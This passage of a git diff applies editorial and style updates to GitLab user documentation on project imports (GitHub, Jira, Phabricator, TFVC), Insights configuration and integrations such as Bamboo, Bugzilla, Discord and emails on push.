Objects](../../../topics/git/lfs/index.md) @@ -59,11 +61,11 @@ For this association to succeed, each GitHub author and assignee in the reposito must meet one of the following conditions prior to the import: - Have previously logged in to a GitLab account using the GitHub icon. -- Have a GitHub account with a - [primary email address](https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) - that matches their GitLab account's email address. +- Have a GitHub account with a publicly visible + [primary email address](https://docs.github.com/en/free-pro-team@latest/rest/reference/users#get-a-user) + on their profile that matches their GitLab account's email address. -If a user referenced in the project is not found in GitLab's database, the project creator (typically the user +If a user referenced in the project is not found in the GitLab database, the project creator (typically the user that initiated the import process) is set as the author/assignee, but a note on the issue mentioning the original GitHub author is added. @@ -89,24 +91,24 @@ Before you begin, ensure that any GitHub users who you want to map to GitLab use - A GitLab account that has logged in using the GitHub icon \- or - -- A GitLab account with an email address that matches the [public email address](https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) of the GitHub user +- A GitLab account with an email address that matches the [publicly visible email address](https://docs.github.com/en/free-pro-team@latest/rest/reference/users#get-a-user) in the profile of the GitHub user User-matching attempts occur in that order, and if a user is not identified either way, the activity is associated with the user account that is performing the import. -NOTE: **Note:** +NOTE: If you are using a self-managed GitLab instance or if you are importing from GitHub Enterprise, this process requires that you have configured [GitHub integration](../../../integration/github.md). 1. From the top navigation bar, click **+** and select **New project**. 1. Select the **Import project** tab and then select **GitHub**. 1. Select the first button to **List your GitHub repositories**. You are redirected to a page on [GitHub](https://github.com) to authorize the GitLab application. -1. Click **Authorize GitlabHQ**. You are redirected back to GitLab's Import page and all of your GitHub repositories are listed. +1. Click **Authorize GitlabHQ**. You are redirected back to the GitLab Import page and all of your GitHub repositories are listed. 1. Continue on to [selecting which repositories to import](#selecting-which-repositories-to-import). ### Using a GitHub token -NOTE: **Note:** +NOTE: Using a personal access token to import projects is not recommended. If you are a GitLab.com user, you can use a personal access token to import your project from GitHub, but this method cannot associate all user activity (such as issues and pull requests) with matching GitLab users. @@ -154,8 +156,8 @@ of the above are automatically configured. **(PREMIUM)** ## Improving the speed of imports on self-managed instances -NOTE: **Note:** -Admin access to the GitLab server is required. +NOTE: +Administrator access to the GitLab server is required. For large projects it may take a while to import all data. To reduce the time necessary, you can increase the number of Sidekiq workers that process the following queues: diff --git a/doc/user/project/import/gitlab_com.md b/doc/user/project/import/gitlab_com.md index 6c622ece4ac..add457c217e 100644 --- a/doc/user/project/import/gitlab_com.md +++ b/doc/user/project/import/gitlab_com.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project importing from GitLab.com to your private GitLab instance @@ -13,7 +13,7 @@ mind that it is possible only if GitLab.com integration is enabled on your GitLa To get to the importer page you need to go to "New project" page. -NOTE: **Note:** +NOTE: If you are interested in importing Wiki and Merge Request data to your new instance, you'll need to follow the instructions for [exporting a project](../settings/import_export.md#exporting-a-project-and-its-data) diff --git a/doc/user/project/import/img/gemnasium/connect_github.png b/doc/user/project/import/img/gemnasium/connect_github.png Binary files differdeleted file mode 100644 index fae62e8d840..00000000000 --- a/doc/user/project/import/img/gemnasium/connect_github.png +++ /dev/null diff --git a/doc/user/project/import/img/gemnasium/connect_github_v13_5.png b/doc/user/project/import/img/gemnasium/connect_github_v13_5.png Binary files differnew file mode 100644 index 00000000000..575d257a213 --- /dev/null +++ b/doc/user/project/import/img/gemnasium/connect_github_v13_5.png diff --git a/doc/user/project/import/img/gemnasium/create_project.png b/doc/user/project/import/img/gemnasium/create_project.png Binary files differdeleted file mode 100644 index 8edbf711629..00000000000 --- a/doc/user/project/import/img/gemnasium/create_project.png +++ /dev/null diff --git a/doc/user/project/import/img/gemnasium/create_project_v13_5.png b/doc/user/project/import/img/gemnasium/create_project_v13_5.png Binary files differnew file mode 100644 index 00000000000..37467bc3fed --- /dev/null +++ b/doc/user/project/import/img/gemnasium/create_project_v13_5.png diff --git a/doc/user/project/import/img/gemnasium/select_project.png b/doc/user/project/import/img/gemnasium/select_project.png Binary files differdeleted file mode 100644 index 588c5ca7ce1..00000000000 --- a/doc/user/project/import/img/gemnasium/select_project.png +++ /dev/null diff --git a/doc/user/project/import/img/gemnasium/select_project_v13_5.png b/doc/user/project/import/img/gemnasium/select_project_v13_5.png Binary files differnew file mode 100644 index 00000000000..30575954811 --- /dev/null +++ b/doc/user/project/import/img/gemnasium/select_project_v13_5.png diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md index a113758495a..754c3e31799 100644 --- a/doc/user/project/import/index.md +++ b/doc/user/project/import/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migrating projects to a GitLab instance @@ -47,7 +47,7 @@ All GitLab user associations (such as comment author) will be changed to the use If you need to migrate all data over, you can leverage our [API](../../../api/README.md) to migrate from self-managed to GitLab.com. The order of assets to migrate from a self-managed instance to GitLab.com is the following: -NOTE: **Note:** +NOTE: When migrating to GitLab.com, users would need to be manually created unless [SCIM](../../../user/group/saml_sso/scim_setup.md) is going to be used. Creating users with the API is limited to self-managed instances as it requires administrator access. 1. [Groups](../../../api/groups.md) @@ -61,7 +61,7 @@ Docker pulls and pushes and re-run any CI pipelines to retrieve any build artifa ## Migrating from GitLab.com to self-managed GitLab -The process is essentially the same as for [migrating from self-managed GitLab to GitLab.com](#migrating-from-self-managed-gitlab-to-gitlabcom). The main difference is that users can be created on the self-managed GitLab instance by an admin through the UI or the [users API](../../../api/users.md#user-creation). +The process is essentially the same as for [migrating from self-managed GitLab to GitLab.com](#migrating-from-self-managed-gitlab-to-gitlabcom). The main difference is that users can be created on the self-managed GitLab instance by an administrator through the UI or the [users API](../../../api/users.md#user-creation). ## Migrating between two self-managed GitLab instances @@ -73,4 +73,4 @@ then restore it on the new server. In the event of merging two GitLab instances together (for example, both instances have existing data on them and one can't be wiped), refer to the instructions in [Migrating from self-managed GitLab to GitLab.com](#migrating-from-self-managed-gitlab-to-gitlabcom). -Additionally, you can migrate users using the [Users API](../../../api/users.md) with an admin user. +Additionally, you can migrate users using the [Users API](../../../api/users.md) with an administrator user. diff --git a/doc/user/project/import/jira.md b/doc/user/project/import/jira.md index 7f179865f4f..5fb737cf74a 100644 --- a/doc/user/project/import/jira.md +++ b/doc/user/project/import/jira.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import your Jira project issues to GitLab @@ -33,7 +33,7 @@ Our parser for converting text in Jira issues to GitLab Flavored Markdown is onl Jira V3 REST API. There is an [epic](https://gitlab.com/groups/gitlab-org/-/epics/2738) tracking the addition of -items, such as issue assignees, comments, and much more. These will be included in the future +items, such as issue assignees, comments, and much more. These are included in the future iterations of the GitLab Jira importer. ## Prerequisites @@ -56,7 +56,7 @@ Make sure you have the integration set up before trying to import Jira issues. To import Jira issues to a GitLab project, follow the steps below. -NOTE: **Note:** +NOTE: Importing Jira issues is done as an asynchronous background job, which may result in delays based on import queues load, system load, or other factors. Importing large projects may take several minutes depending on the size of the import. @@ -76,7 +76,7 @@ Importing large projects may take several minutes depending on the size of the i 1. Click the **Import from** dropdown and select the Jira project that you wish to import issues from. In the **Jira-GitLab user mapping template** section, the table shows to which GitLab users your Jira - users will be mapped. + users are mapped. When the form appears, the dropdown defaults to the user conducting the import. 1. To change any of the mappings, click the dropdown in the **GitLab username** column and @@ -88,6 +88,6 @@ Importing large projects may take several minutes depending on the size of the i 1. Click **Continue**. You're presented with a confirmation that import has started. While the import is running in the background, you can navigate away from the import status page - to the issues page, and you'll see the new issues appearing in the issues list. + to the issues page, and you can see the new issues appearing in the issues list. 1. To check the status of your import, go to the Jira import page again. diff --git a/doc/user/project/import/manifest.md b/doc/user/project/import/manifest.md index ba1e2011d08..6ef91a54987 100644 --- a/doc/user/project/import/manifest.md +++ b/doc/user/project/import/manifest.md @@ -2,7 +2,7 @@ type: howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import multiple repositories by uploading a manifest file diff --git a/doc/user/project/import/perforce.md b/doc/user/project/import/perforce.md index 4ccc34efe30..85c8a3020b9 100644 --- a/doc/user/project/import/perforce.md +++ b/doc/user/project/import/perforce.md @@ -2,7 +2,7 @@ type: howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migrating from Perforce Helix @@ -35,7 +35,7 @@ Git: ## Why migrate -Perforce Helix can be difficult to manage both from a user and an admin +Perforce Helix can be difficult to manage both from a user and an administrator perspective. Migrating to Git/GitLab there is: - **No licensing costs**, Git is GPL while Perforce Helix is proprietary. diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md index a19068199db..189afac1226 100644 --- a/doc/user/project/import/phabricator.md +++ b/doc/user/project/import/phabricator.md @@ -2,13 +2,20 @@ type: howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import Phabricator tasks into a GitLab project > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60562) in GitLab 12.0. +WARNING: +The Phabricator task importer is in +[beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) and is +[**not** complete](https://gitlab.com/gitlab-org/gitlab/-/issues/284406). It imports +only an issue's title and description. The GitLab project created during the import +process contains only issues, and the associated repository is disabled. + GitLab allows you to import all tasks from a Phabricator instance into GitLab issues. The import creates a single project with the repository disabled. diff --git a/doc/user/project/import/repo_by_url.md b/doc/user/project/import/repo_by_url.md index 5c53b6eaf06..0e8cc159aec 100644 --- a/doc/user/project/import/repo_by_url.md +++ b/doc/user/project/import/repo_by_url.md @@ -2,7 +2,7 @@ type: howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import project from repository by URL diff --git a/doc/user/project/import/svn.md b/doc/user/project/import/svn.md index d5f4a014705..3642d07106c 100644 --- a/doc/user/project/import/svn.md +++ b/doc/user/project/import/svn.md @@ -2,7 +2,7 @@ type: howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migrating from SVN to GitLab diff --git a/doc/user/project/import/tfs.md b/doc/user/project/import/tfs.md index 7b3b11b9519..31f9b200558 100644 --- a/doc/user/project/import/tfs.md +++ b/doc/user/project/import/tfs.md @@ -3,3 +3,6 @@ redirect_to: 'tfvc.md' --- This document was moved to [another location](tfvc.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/import/tfvc.md b/doc/user/project/import/tfvc.md index cbc25552873..0d347a16697 100644 --- a/doc/user/project/import/tfvc.md +++ b/doc/user/project/import/tfvc.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts --- @@ -38,7 +38,7 @@ Advantages of migrating to Git/GitLab: - **No licensing costs:** Git is open source, while TFVC is proprietary. - **Shorter learning curve:** Git has a big community and a vast number of tutorials to get you started (see our [Git topic](../../../topics/git/index.md)). -- **Integration with modern tools:** After migrating to Git and GitLab, you will have +- **Integration with modern tools:** After migrating to Git and GitLab, you have an open source, end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. diff --git a/doc/user/project/index.md b/doc/user/project/index.md index 333c72a65b1..e3079c3731d 100644 --- a/doc/user/project/index.md +++ b/doc/user/project/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -50,7 +50,7 @@ When you create a project in GitLab, you'll have access to a large number of - [Merge Request Approvals](merge_requests/merge_request_approvals.md): Ask for approval before implementing a change **(STARTER)** - [Fix merge conflicts from the UI](merge_requests/resolve_conflicts.md): - Your Git diff tool right from GitLab's UI + Your Git diff tool right from the GitLab UI - [Review Apps](../../ci/review_apps/index.md): Live preview the results of the changes proposed in a merge request in a per-branch basis - [Labels](labels.md): Organize issues and merge requests by labels @@ -69,7 +69,7 @@ When you create a project in GitLab, you'll have access to a large number of **GitLab CI/CD:** -- [GitLab CI/CD](../../ci/README.md): GitLab's built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool +- [GitLab CI/CD](../../ci/README.md): the GitLab built-in [Continuous Integration, Delivery, and Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/) tool - [Container Registry](../packages/container_registry/index.md): Build and push Docker images out-of-the-box - [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy): Configure GitLab CI/CD @@ -100,7 +100,7 @@ When you create a project in GitLab, you'll have access to a large number of - [Insights](insights/index.md): configure the Insights that matter for your projects. **(ULTIMATE)** - [Security Dashboard](../application_security/security_dashboard/index.md): Security Dashboard. **(ULTIMATE)** - [Syntax highlighting](highlighting.md): an alternative to customize - your code blocks, overriding GitLab's default choice of language. + your code blocks, overriding the GitLab default choice of language. - [Badges](badges.md): badges for the project overview. - [Releases](releases/index.md): a way to track deliverables in your project as snapshot in time of the source, build output, other metadata, and other artifacts @@ -327,7 +327,7 @@ login <gitlab_user_name> password <personal_access_token> ``` -NOTE: **Note:** +NOTE: On Windows, Go reads `~/_netrc` instead of `~/.netrc`. ### Authenticate Git fetches @@ -374,6 +374,16 @@ project `https://gitlab.com/gitlab-org/gitlab`), the repository can be cloned using the alias (e.g `git clone git@gitlab.com:gitlab.git` instead of `git clone git@gitlab.com:gitlab-org/gitlab.git`). +## Project activity analytics overview **(ULTIMATE ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in GitLab [Ultimate](https://about.gitlab.com/pricing/) 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta). + +Project details include the following analytics: + +- Deployment Frequency + +For more information, see [Project Analytics API](../../api/project_analytics.md). + ## Project APIs There are numerous [APIs](../../api/README.md) to use with your projects: @@ -394,3 +404,4 @@ There are numerous [APIs](../../api/README.md) to use with your projects: - [Traffic](../../api/project_statistics.md) - [Variables](../../api/project_level_variables.md) - [Aliases](../../api/project_aliases.md) +- [Analytics](../../api/project_analytics.md) diff --git a/doc/user/project/insights/index.md b/doc/user/project/insights/index.md index eaef0b8d69f..1efb3583fbf 100644 --- a/doc/user/project/insights/index.md +++ b/doc/user/project/insights/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Insights **(ULTIMATE)** @@ -14,7 +14,7 @@ requests to be merged and much more.  -NOTE: **Note:** +NOTE: This feature is [also available at the group level](../../group/insights/index.md). ## View your project's Insights @@ -27,26 +27,26 @@ link in the left sidebar: ## Configure your Insights Insights are configured using a YAML file called `.gitlab/insights.yml` within -a project. That file will then be used in the project's Insights page. +a project. That file is used in the project's Insights page. See [Writing your `.gitlab/insights.yml`](#writing-your-gitlabinsightsyml) below for details about the content of this file. -NOTE: **Note:** -Once the configuration file is created, you can also +NOTE: +After the configuration file is created, you can also [use it for your project's group](../../group/insights/index.md#configure-your-insights). -NOTE: **Note:** -If the project doesn't have any configuration file, it'll try to use +NOTE: +If the project doesn't have any configuration file, it attempts to use the group configuration if possible. If the group doesn't have any -configuration, the default configuration will be used. +configuration, the default configuration is used. ## Permissions If you have access to view a project, then you have access to view their Insights. -NOTE: **Note:** +NOTE: Issues or merge requests that you don't have access to (because you don't have access to the project they belong to, or because they are confidential) are filtered out of the Insights charts. @@ -56,11 +56,11 @@ You may also consult the [group permissions table](../../permissions.md#group-me ## Writing your `.gitlab/insights.yml` The `.gitlab/insights.yml` file defines the structure and order of the Insights -charts that will be displayed in each Insights page of your project or group. +charts displayed in each Insights page of your project or group. Each page has a unique key and a collection of charts to fetch and display. -For example, here's a single definition for Insights that will display one page with one chart: +For example, here's a single definition for Insights that displays one page with one chart: ```yaml bugsCharts: @@ -103,8 +103,8 @@ The following table lists available parameters for charts: | Keyword | Description | |:---------------------------------------------------|:------------| -| [`title`](#title) | The title of the chart. This will displayed on the Insights page. | -| [`description`](#description) | A description for the individual chart. This will be displayed above the relevant chart. | +| [`title`](#title) | The title of the chart. This displays on the Insights page. | +| [`description`](#description) | A description for the individual chart. This displays above the relevant chart. | | [`type`](#type) | The type of chart: `bar`, `line` or `stacked-bar`. | | [`query`](#query) | A hash that defines the conditions for issues / merge requests to be part of the chart. | @@ -115,7 +115,7 @@ Insights charts. ### `title` -`title` is the title of the chart as it will be displayed on the Insights page. +`title` is the title of the chart as it displays on the Insights page. For example: ```yaml @@ -187,14 +187,14 @@ Defines the type of "issuable" you want to create a chart for. Supported values are: -- `issue`: The chart will display issues' data. -- `merge_request`: The chart will display merge requests' data. +- `issue`: The chart displays issues' data. +- `merge_request`: The chart displays merge requests' data. #### `query.issuable_state` Filter by the state of the queried "issuable". -By default, the `opened` state filter will be applied. +By default, the `opened` state filter is applied. Supported values are: @@ -208,7 +208,7 @@ Supported values are: Filter by labels applied to the queried "issuable". -By default, no labels filter will be applied. All the defined labels must be +By default, no labels filter is applied. All the defined labels must be applied to the "issuable" in order for it to be selected. Example: @@ -229,7 +229,7 @@ monthlyBugsCreated: Group "issuable" by the configured labels. -By default, no grouping will be done. When using this keyword, you need to +By default, no grouping is done. When using this keyword, you need to set `type` to either `line` or `stacked-bar`. Example: @@ -268,7 +268,7 @@ The unit is related to the `query.group_by` you defined. For instance if you defined `query.group_by: 'day'` then `query.period_limit: 365` would mean "Gather and display data for the last 365 days". -By default, default values will be applied depending on the `query.group_by` +By default, default values are applied depending on the `query.group_by` you defined. | `query.group_by` | Default value | @@ -293,10 +293,9 @@ The `period_field` is automatically set to: - `merged_at` if `query.issuable_state` is `merged` - `created_at` otherwise -NOTE: **Note:** -Until [this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/26911), is resolved, you may see `created_at` -in place of `merged_at`. -`created_at` will be used instead. +NOTE: +Until [this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/26911), is resolved, +you may see `created_at` in place of `merged_at`. `created_at` is used instead. ### `projects` @@ -304,22 +303,22 @@ in place of `merged_at`. You can limit where the "issuables" can be queried from: -- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group will be used. -- If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects will yield no results. By default, the project itself will be used. +- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group are used. +- If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects yields no results. By default, the project itself is used. #### `projects.only` The `projects.only` option specifies the projects which the "issuables" should be queried from. -Projects listed here will be ignored when: +Projects listed here are ignored when: - They don't exist. - The current user doesn't have sufficient permissions to read them. - They are outside of the group. In the following `insights.yml` example, we specify the projects -the queries will be used on. This example is useful when setting +the queries are used on. This example is useful when setting a group's insights: ```yaml diff --git a/doc/user/project/integrations/bamboo.md b/doc/user/project/integrations/bamboo.md index 9cade323ed2..30a21dd7f66 100644 --- a/doc/user/project/integrations/bamboo.md +++ b/doc/user/project/integrations/bamboo.md @@ -1,14 +1,14 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Atlassian Bamboo CI Service GitLab provides integration with Atlassian Bamboo for continuous integration. -When configured, pushes to a project will trigger a build in Bamboo automatically. -Merge requests will also display CI status showing whether the build is pending, +When configured, pushes to a project trigger a build in Bamboo automatically. +Merge requests also display CI status showing whether the build is pending, failed, or completed successfully. It also provides a link to the Bamboo build page for more information. @@ -56,12 +56,12 @@ service in GitLab. access to trigger the build plan. Leave these fields blank if you do not require authentication. 1. Save or optionally click 'Test Settings'. Please note that 'Test Settings' - will actually trigger a build in Bamboo. + actually triggers a build in Bamboo. ## Troubleshooting If builds are not triggered, ensure you entered the right GitLab IP address in Bamboo under 'Trigger IP addresses'. Also check [service hook logs](overview.md#troubleshooting-integrations) for request failures. -NOTE: **Note:** +NOTE: Starting with GitLab 8.14.0, builds are triggered on push events. diff --git a/doc/user/project/integrations/bugzilla.md b/doc/user/project/integrations/bugzilla.md index 2ed14a4c69c..4e2ee9b3662 100644 --- a/doc/user/project/integrations/bugzilla.md +++ b/doc/user/project/integrations/bugzilla.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Bugzilla Service @@ -16,7 +16,7 @@ in the table below. | `issues_url` | The URL to the issue in Bugzilla project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. | | `new_issue_url` | This is the URL to create a new issue in Bugzilla for the project linked to this GitLab project. Note that the `new_issue_url` requires PRODUCT_NAME to be updated with the product/project name in Bugzilla. | -Once you have configured and enabled Bugzilla you'll see the Bugzilla link on the GitLab project pages that takes you to the appropriate Bugzilla project. +Once you have configured and enabled Bugzilla, you see the Bugzilla link on the GitLab project pages that takes you to the appropriate Bugzilla project. ## Referencing issues in Bugzilla @@ -27,7 +27,7 @@ Issues in Bugzilla can be referenced in two alternative ways: then followed by capital letters, numbers or underscores, and `<ID>` is a number (example `API_32-143`). -We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker the internal issue will be linked. +We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker, the internal issue is linked. Please note that `<PROJECT>` part is ignored and links always point to the address specified in `issues_url`. diff --git a/doc/user/project/integrations/custom_issue_tracker.md b/doc/user/project/integrations/custom_issue_tracker.md index 1329f584fdc..143f0e2a25d 100644 --- a/doc/user/project/integrations/custom_issue_tracker.md +++ b/doc/user/project/integrations/custom_issue_tracker.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Custom Issue Tracker service @@ -11,7 +11,7 @@ To enable the Custom Issue Tracker integration in a project: 1. Go to **Settings > Integrations**. 1. Click **Custom Issue Tracker** 1. Fill in the tracker's details, such as title, description, and URLs. - You will be able to edit these fields later as well. + You can edit these fields later as well. These are some of the required fields: @@ -19,11 +19,11 @@ To enable the Custom Issue Tracker integration in a project: | --------------- | ----------- | | **Project URL** | The URL to the project in the custom issue tracker. | | **Issues URL** | The URL to the issue in the issue tracker project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. For example, `https://customissuetracker.com/project-name/:id`. | - | **New issue URL** | Currently unused. Will be changed in a future release. | + | **New issue URL** | Currently unused. Planned to be changed in a future release. | 1. Click **Test settings and save changes**. -After you configure and enable the Custom Issue Tracker service, you'll see a link on the GitLab +After you configure and enable the Custom Issue Tracker service, you see a link on the GitLab project pages that takes you to that custom issue tracker. ## Referencing issues diff --git a/doc/user/project/integrations/discord_notifications.md b/doc/user/project/integrations/discord_notifications.md index f261362eeae..8e0a167a968 100644 --- a/doc/user/project/integrations/discord_notifications.md +++ b/doc/user/project/integrations/discord_notifications.md @@ -1,7 +1,7 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Discord Notifications service @@ -17,7 +17,7 @@ To send GitLab event notifications to a Discord channel, create a webhook in Dis 1. Open the Discord channel you want to receive GitLab event notifications. 1. From the channel menu, select **Edit channel**. 1. Click on **Webhooks** menu item. -1. Click the **Create Webhook** button and fill in the name of the bot that will post the messages. Optionally, edit the avatar. +1. Click the **Create Webhook** button and fill in the name of the bot to post the messages. Optionally, edit the avatar. 1. Note the URL from the **WEBHOOK URL** field. 1. Click the **Save** button. @@ -32,4 +32,4 @@ With the webhook URL created in the Discord channel, you can set up the Discord 1. Paste the webhook URL that you copied from the create Discord webhook step. 1. Configure the remaining options and click the **Save changes** button. -The Discord channel you created the webhook for will now receive notification of the GitLab events that were configured. +The Discord channel you created the webhook for now receives notification of the GitLab events that were configured. diff --git a/doc/user/project/integrations/emails_on_push.md b/doc/user/project/integrations/emails_on_push.md index d8b864e0396..2274913d349 100644 --- a/doc/user/project/integrations/emails_on_push.md +++ b/doc/user/project/integrations/emails_on_push.md @@ -1,12 +1,12 @@ --- stage: Create group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Enabling emails on push -By enabling this service, you will receive email notifications for every change +By enabling this service, you receive email notifications for every change that is pushed to your project. From the [Integrations page](overview.md#accessing-integrations) @@ -16,8 +16,8 @@ In the _Recipients_ area, provide a list of emails separated by spaces or newlin The following options are available: -- **Push events** - Email will be triggered when a push event is received. -- **Tag push events** - Email will be triggered when a tag is created and pushed. +- **Push events** - Email is triggered when a push event is received. +- **Tag push events** - Email is triggered when a tag is created and pushed. - **Send from committer** - Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. `user@gitlab.com`). - **Disable code diffs** - Don't include possibly sensitive code diffs in notification body. diff --git a/doc/user/project/integrations/ewm.md b/doc/user/project/integrations/ewm.md index 822483a1d5b..434ae760aff 100644 --- a/doc/user/project/integrations/ewm.md +++ b/doc/user/project/integrations/ewm.md @@ -1,14 +1,14 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # IBM Engineering Workflow Management (EWM) Integration **(CORE)** This service allows you to navigate from GitLab to EWM work items mentioned in merge request descriptions and commit messages. Each work item reference is automatically converted to a link back to the work item. -NOTE: **Note:** +NOTE: This IBM product was [formerly named Rational Team Concert](https://jazz.net/blog/index.php/2019/04/23/renaming-the-ibm-continuous-engineering-portfolio/)(RTC). This integration is also compatible with all versions of RTC and EWM. 1. From a GitLab project, navigate to **Settings > Integrations**, and then click **EWM**. diff --git a/doc/user/project/integrations/generic_alerts.md b/doc/user/project/integrations/generic_alerts.md index 0e8e082859b..1fbbee36173 100644 --- a/doc/user/project/integrations/generic_alerts.md +++ b/doc/user/project/integrations/generic_alerts.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/generic_alerts.md' --- This document was moved to [another location](../../../operations/incident_management/generic_alerts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/github.md 